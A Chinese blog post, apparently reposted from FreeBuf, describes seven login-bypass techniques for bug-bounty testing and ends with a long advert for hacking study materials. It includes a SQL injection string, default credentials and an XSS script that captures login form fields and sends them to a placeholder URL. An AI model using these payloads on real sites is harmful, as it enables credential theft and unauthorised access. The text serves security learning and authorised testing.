SRC绕过登录页面的七种常见方法，（非常详细）从零基础到精通，收藏这篇就够了！

最新推荐文章于 2025-05-20 20:00:04 发布

黑客大白

最新推荐文章于 2025-05-20 20:00:04 发布

阅读量888

点赞数 17

文章标签：运维 web安全安全

本文链接：https://blog.csdn.net/Libra1313/article/details/147956966

版权

常见的七种方式

绕过 SQL 注入

通过跨站点脚本（XSS）

通过操纵响应返回包

绕过爆破攻击限制

绕过目录爆破攻击

默认凭据绕过

通过删除请求中的参数

绕过 SQL 注入

Mutillidae 为例进行演示

所以现在我们可以将 SQL 注入payload放入其中。对于这个语法错误，payload是“ ’ or 1=1–” 现在让我们看看输入它时会发生什么。

我们以管理员身份登录。在您的情况下，当它不起作用时尝试其他payload，并使用 SQLMap 工具dump用户名和密码。

通过跨站点脚本（XSS）

输入 xss payload <script>alert(1)</script>并显示弹出窗口，因此您可以通过 XSS 尝试 CSRF 并查看受害者凭据。这是它的 CSRF payload

<script>  
function intercept() {  
  
var user = document.forms[0].elements[0].value;  
var pass = document.forms[0].elements[1].value;  
  
  
var xhr = new XMLHttpRequest();  
  
xhr.open("GET", "https://your-target-url?username/email="+user+"&password="+pass)  
xhr.send();  
return false;  
}  
document.forms[0].onsubmit = intercept;  
  
</script>

通过操纵响应返回包

该方法主要基于Response Status代码操作和Response Body操作。

首先在你的目标上创建一个帐户，然后使用正确的凭据登录并拦截 burp suite中的请求并分析响应，然后你尝试使用错误的凭据登录并使用正确的凭据操作你看到的响应，例如

403 Forbidden  
<redacted>  
{"error":true, "message":"Invalid Token"}

200 OK  
<redacted>  
{"success":true}

如果存在此漏洞，你将立即登录进去。

绕过爆破攻击限制

这种攻击主要发生在站点没有设置时间限制和重复次数限制，基本上没有在登录页面设置延时功能的情况下。

当您反复输入错误的凭据时，网站会显示 5 分钟后输入凭据的时间。当站点显示这种错误时，很难执行此方法。

绕过目录模糊攻击

在这种方法中，我们尝试借助一些工具（如 ffuf、dirbuster 和 burp suite intruder 等）进行目录暴力破解。大多数工具都有自己的目录词表，但当它没有词表时，所以在 linux 中它有自己的词表，你可以使用它们适用于 Windows，您可以在谷歌上搜索。

在这种攻击中，工具可以找到显示有用响应的任何目录或子目录，或者打开任何仅在您登录站点时打开的页面。我在这个博客中使用了 FFUF 工具，您可以看到它是如何工作的。

默认凭据绕过

当开发人员创建站点时，他会创建一些用于测试的默认凭据，但很多时候他会删除它，或者很多时候他不会将其从记录中删除。

当站点允许输入任何密码时，许多用户可以输入弱密码并且站点接受它。因此，您应该尝试使用默认凭据。默认凭据列表在 Google 上变得很容易获得。默认凭据，

如 admin:admin、admin:password、username:pass12345 等。

通过删除请求中的参数

当您输入错误的凭据时，网站会显示错误，例如用户名和密码不正确/不匹配，此用户名的密码不正确等，网站会显示此类响应，因此可以尝试此方法。

首先拦截请求并删除请求中的密码参数并转发请求。然后服务器发现该用户名可用并让您登录该站点。

当服务器没有正确分析请求时会出现此问题。

来源：https://www.freebuf.com/

黑客/网络安全学习包

资料目录

成长路线图&学习规划
配套视频教程
SRC&黑客文籍
护网行动资料
黑客必读书单
面试题合集

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！

4.护网行动资料

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

5.黑客必读书单

6.面试题合集

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

更多内容为防止和谐，可以扫描获取~

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享